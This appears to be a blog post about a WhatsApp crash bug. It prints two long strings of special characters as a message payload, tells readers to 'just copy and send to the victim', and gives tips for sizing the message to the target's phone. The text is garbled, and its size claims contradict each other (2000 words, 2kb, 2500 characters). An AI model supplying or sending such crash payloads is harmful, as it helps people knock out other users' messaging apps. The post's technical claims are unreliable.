Whatsapp Crash [message handler vulnerability]

A  super cool Vulnerability has been discovered in the wildly popular messaging app WhatsApp, which allows anyone to remotely crash WhatsApp just by sending a specially crafted message.

Two Indian independent security researchers, Indrajeet Bhuyan and Saurav Kar, both 17-year old demonstrated this vulnerability

In a video demonstration, they showed that by sending a 2000 words (2kb) message in special character set can crash the receiver’s app and also the sender's app when he oprn the chat .
This is the code.............

ߘ㠊ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊰ߘ㊰ߘ㊠ ߘ㊠ ߘ㠊ߘ㊠
ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊰ߘ㊰ߘ㊠ ߘ㊠ ߘ㠊ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊠ ߘ
㊰ߘ㊰ߘ㊠ ߘ㊠ ߘ㠊ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊰ߘ㊰ߘ㊠ ߘ㊠ ߘ
㠊ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊰ߘ㊰ߘ㊠ ߘ㊠ ߘ㠊ߘ㊠ ߘ㊠ ߘ㊠
ߘ㊠ ߘ㊰ߘ㊰ߘ㊠ ߘ㊠ ߘ㠊ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊰ߘ㊰ߘ㊠
ߘ㊠ ߘ㠊ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊰ߘ㊰ߘ㊠ ߘ㊠ ߘ㠊ߘ㊠ ߘ
㊠ ߘ㊠ ߘ㊠ ߘ㊰ߘ㊰ߘ㊠ ߘ㊠ ߘ㠊ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊰
ߘ㊰ߘ㊠ ߘ㊠ ߘ㠊ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊰ߘ㊰ߘ㊠ ߘ㊠ ߘ㠊
ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊰ߘ㊰ߘ㊠ ߘ㊠ ߘ㠊ߘ㊠ ߘ㊠ ߘ㊠ ߘ
㊠ ߘ㊰ߘ㊰ߘ㊠ ߘ㊠ ߘ㠊ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊰ߘ㊰ߘ㊠ ߘ
㊠ ߘ㠊ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊰ߘ㊰ߘ㊠ ߘ㊠ ߘ㠊ߘ㊠ ߘ㊠
ߘ㊠ ߘ㊠ ߘ㊰ߘ㊰ߘ㊠ ߘ㊠ ߘ㠊ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊰ߘ㊰
ߘ㊠ ߘ㊠ ߘ㠊ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊰ߘ㊰ߘ㊠ ߘ㊠ ߘ㠊ߘ
㊠ ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊰ߘ㊰ߘ㊠ ߘ㊠ ߘ㠊ߘ㊠ ߘ㊠ ߘ㊠ ߘ
㊠ ߘ㊰ߘ㊰ߘ㊠ ߘ㊠ ߘ㠊ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊰ߘ㊰ߘ㊠ ߘ
㊠ ߘ㠊ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊰ߘ㊰ߘ㊠ ߘ㊠ ߘ㠊ߘ㊠ ߘ㊠
ߘ㊠ ߘ㊠ ߘ㊰ߘ㊰ߘ㊠ ߘ㊠ ߘ㠊ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊰ߘ㊰
ߘ㊠ ߘ㊠ ߘ㠊ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊰ߘ㊰ߘ㊠ ߘ㊠ ߘ㠊ߘ
㊠ ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊰ߘ㊰ߘ㊠ ߘ㊠ ߘ㠊ߘ㊠ ߘ㊠ ߘ㊠ ߘ
㊠ ߘ㊰ߘ㊰ߘ㊠ ߘ㊠ ߘ㠊ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊰ߘ㊰ߘ㊠ ߘ
㊠ ߘ㠊ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊰ߘ㊰ߘ㊠ ߘ㊠ ߘ㠊ߘ㊠ ߘ㊠
ߘ㊠ ߘ㊠ ߘ㊰ߘ㊰ߘ㊠ ߘ㊠ ߘ㠊ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊰ߘ㰟
Ѝ
ߘ㊠ ߘ㊠ ߘ㠊ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊰ߘ㊰ߘ㊠ ߘ㊠ ߘ㠊ߘ
㊠ ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊰ߘ㊰ߘ㊠ ߘ㊠ ߘ㠊ߘ㊠ ߘ㊠ ߘ㊠ ߘ
㊠ ߘ㊰ߘ㊰ߘ㊠ ߘ㊠ ߘ㠊ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊰ߘ㊰ߘ㊠ ߘ
㊠ ߘ㠊ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊰ߘ㊰ߘ㊠ ߘ㊠ ߘ㠊ߘ㊠ ߘ㊠
ߘ㊠ ߘ㊠ ߘ㊰ߘ㊰ߘ㊠ ߘ㊠ ߘ㠊ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊰ߘ㊰
ߘ㊠ ߘ㊠ ߘ㠊ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊰ߘ㊰ߘ㊠ ߘ㊠ ߘ㠊ߘ
㊠ ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊰ߘ㊰ߘ㊠ ߘ㊠ ߘ㠊ߘ㊠ ߘ㊠ ߘ㊠ ߘ
㊠ ߘ㊰ߘ㊰ߘ㊠ ߘ㊠ ߘ㠊ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊰ߘ㊊ߘ㊠ ߘ
㊠ ߘ㠊ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊰ߘ㊰ߘ㊠ ߘ㊠ ߘ㠊ߘ㊠ ߘ㊠
ߘ㊠ ߘ㊠ ߘ㊰ߘ㊰ߘ㊠ ߘ㊠ ߘ㠊ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊰ߘ㊰
ߘ㊠ ߘ㊠ ߘ㠊ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊰ߘ㊰ߘ㊠ ߘ㊠ ߘ㠊ߘ
㊠ ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊰ߘ㊰ߘ㊠ ߘ㊠ ߘ㠊ߘ㊠ ߘ㊠ ߘ㊠ ߘ
㊠ ߘ㊰ߘ㊰ߘ㊠ ߘ㊠ ߘ㠊ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊰ߘ㊰ߘ㊠ ߘ
㊠ ߘ㠊ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊰ߘ㊰ߘ㊠ ߘ㊠ ߘ㠊ߘ㊠ ߘ㊠
ߘ㊠ ߘ㊠ ߘ㊰ߘ㊰ߘ㊠ ߘ㊠ ߘ㠊ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊰ߘ㊰
ߘ㊠ ߘ㊠ ߘ㠊ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊰ߘ㊰ߘ㊠ ߘ㊠ ߘ㠊ߘ
㊠ ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊰ߘ㊰ߘ㊠ ߘ㊠ ߘ㠊ߘ㊠ ߘ㊠ ߘ㊠ ߘ
㊠ ߘ㊰ߘ㊰ߘ㊠ ߘ㊠ ߘ㠊ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊰ߘ㊰ߘ㊠ ߘ
㊠ ߘ㠊ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊰ߘ㊰ߘ㊠ ߘ㊠ ߘ㠊ߘ㊠ ߘ㊠
ߘ㊠ ߘ㊠ ߘ㊰ߘ㊰ߘ㊠ ߘ㊠ ߘ㠊ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊰ߘ㊰
ߘ㊠ ߘ㊠ ߘ㠊ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊰ߘ㊰ߘ㊠ ߘ㊠ ߘ㠊ߘ
㊠ ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊰ߘ㊰ߘ㊠ ߘ㊠ ߘ㠊ߘ㊠ ߘ㊠ ߘ㊠ ߘ
㊠ ߘ㊰ߘ㊰ߘ㊠ ߘ㊠ ߘ㠊ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊰ߘ㊰ߘ㊠ ߘ
㊠ ߘ㠊ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊰ߘ㊰ߘ㊠ ߘ㊠ ߘ㠊ߘ㊠ ߘ㊠
ߘ㊠ ߘ㊠ ߘ㊰ߘ㊰ߘ㊠ ߘ㊠ ߘ㠊ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊰ߘ㊰
ߘ㊠ ߘ㊠ ߘ㠊ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊰ߘ㊰ߘ㊠ ߘ㊠ ߘ㠊ߘ
㊠ ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊰ߘ㊰ߘ㊠ ߘ㊠ ߘ㠊ߘ㊠ ߘ㊠ ߘ㊠ ߘ
㊠ ߘ㊰ߘ㊰ߘ㊠ ߘ㊠ ߘ㠊ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊰ߘ㊰ߘ㊠ ߘ
㊠ ߘ㠊ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊰ߘ㊰ߘ㊠ ߘ㊠ ߘ㠊ߘ㊠ ߘ㊠
ߘ㊠ ߘ㊠ ߘ㊰ߘ㊰ߘ㊠ ߘ㊠ ߘ㠊ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊰ߘ㊰
ߘ㊠ ߘ㊠ ߘ㠊ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊰ߘ㊰ߘ㊠ ߘ㊠ ߘ㠊ߘ
㊠ ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊰ߘ㊰ߘ㊠ ߘ㊠ ߘ㠊ߘ㊠ ߘ㊠ ߘ㊠ ߘ
㊠ ߘ㊰ߘ㊰ߘ㊠ ߘ㊠ ߘ㠊ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊰ߘ㊰ߘ㊠ ߘ
㊠ ߘ㠊ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊰ߘ㊰ߘ㊠ ߘ㊠ ߘ㠊ߘ㊠ ߘ㊠
ߘ㊠ ߘ㊠ ߘ㊰ߘ㊰ߘ㊠ ߘ㊠ ߘ㠊ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊰ߘ㊰
ߘ㊠ ߘ㊠ ߘ㠊ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊰ߘ㊰ߘ㊠ ߘ㊠ ߘ㠊ߘ
㊠ ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊰ߘ㊰ߘ㊠ ߘ㊠ ߘ㠊ߘ㊠ ߘ㊠ ߘ㊠ ߘ
㊠ ߘ㊰ߘ㊰ߘ㊠ ߘ㊠ ߘ㠊ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊠ ߘ㊰ߘ㊰ߘ㊠ ߘ
㊠ ߘ㠊

Just copy and send to the victim ,after sending to victim you also can not open the victim's chat.The worried impact of  the  vulnerability is.....................  and still WhatsApp do not patch this .............




Thank you

Continue

Remotely Crash whatsapp

Yes, it is possible by only a message . The message must be contain at least 2500 special character or more , then the receiver  automatically crashes . This also can effect to the sender.
When in my free time i just made this message and sent to one of my friend.

%%%%##^^○○○○○○○○○○○○@;"';//";:@;;~/-(^;○○○○○○○○○;.;;;;;;'@?:;-&#^^|《》¿£¤ $$_₩₩¥÷÷₩___₩₩₩₩__₩₩₩₩₩₩₩₩ ₩₩₩₩₩₩____₩₩₩₩₩₩₩₩₩₩₩₩ ₩₩₩===₩\\%£££₩]]{{{{<<<{{]₩₩₩₩ ₩____¤$=₩₩[]<<$$<{{{<$¤_₩₩[₩¥¥¥¥₩₩ []]_<__>$$¤_₩_]]]{{{{<$₩₩¥₩[]]]] {_<______ amp="">>}{][₩¥¥₩¥¥¥\\\\₩<<₩₩₩₩₩]]__=¤ ¤¤¤_₩÷÷÷+£¥○○○○]]{{{○○○○○○○○○}>$$$○○○○$€}{]○○○○○○○○[[¥¥¥]{{<<¤$<>}€ €€€$$$<<_>€○○○○€€¤¤=○○○○○○○○○÷÷+£¥₩]]][[\___<<₩¥¥\[[]==++£\]]{{{>>>$_¤==÷]]]{{}>>>$$¤==/;:::?./--^^""::::?./---^^//;;;;::○○○○○○○○○::::::::::"-/;;;;;;○○○○○○○○○:::::" ~~^#&),???::''"^^^^^--^^^#&&&)(.? @@@*'~##^^~""/-^^-(,-###&&) (,.:;~~^^~~;;;/---)--;;::@??/~~~--((-^^^^^---(○○○○////.;;::::'""~~₩₩¥○○○○○○○○○¥₩₩₩¥÷_○○○○○○○○○_¤¤==÷÷++$€€ {{]₩¥¥¥₩¤$¥++££%\]}}><<<<$¤$¤€€¤¤===]] [₩₩¥÷÷££\]{{○○○○○○○○○}}}>>€$=÷¥¥£++÷=₩¤$<€>}{]¥ ¥££¥¥₩__]{<¤=¥₩₩₩<<<}}}>>>>>>_==÷¥¥\[]{{}}>>$$¤=÷÷¥¥¥[]]{{}}<<$¤=÷÷+£¥¥\]{{}}}>>€ €€=÷÷+££\]]{{{}}>>€$$¤=¥¥₩₩[[ [[[[[[~"''~^###&&(()""::;/~~^####&-,.??!!!@@:''"~^##&&(/;:-@《》 《``·《《``·《《《¿¿¡₩¥¥÷○○○○○○○○○¤$$>{○○○○○○○○○]₩¥₩=¤ ¤<[₩¥¥₩₩₩₩₩]]____]¥¥÷₩¥¥÷₩₩¥₩₩ ₩]_¤_[¥¥÷₩₩₩¥¥ > {<<¤$<>}€€€○○○○○○○○€$$$<<_>€€€¤¤=÷÷+£¥₩]]] [[\___<<₩¥¥\[[○○○○○○○○○]==++£\]]{{{>>>$_¤==÷]]] {{○○○○○○○○○}>>>$$¤==/;:::?./--^^""::::?./---○○○○○○○○○○○○○○^^//;;;;::::::::::::"-/;;;;;;:::::"~~^#&),???::''"^^^^^--^^^#&&&)(.?@@ @*'~##^^~""/-^^-(,-###&&)(,.:;~~^^~~;;;/---)--;;::@??/~~~--((-^^^^^---(////.;;::::'""~~₩₩¥¥ ₩₩₩¥÷__¤¤==÷○○○○○○○○○○○○>>>

 When i sent it's 4x greater message to one of my friend ,his whatsapp crashed and hanged up . He also can not delete the particular message for some time and his whatsapp crashed , and my whatsapp also crashed  . The message works according to receiver's phone's operating system , processor and ram . So you can sent the message according to these factor . This does not work on windows phone only works on android versions (do not check in java base mobile)

The most important factor is this message is simply a pattern of special character.....



Thank you

Continue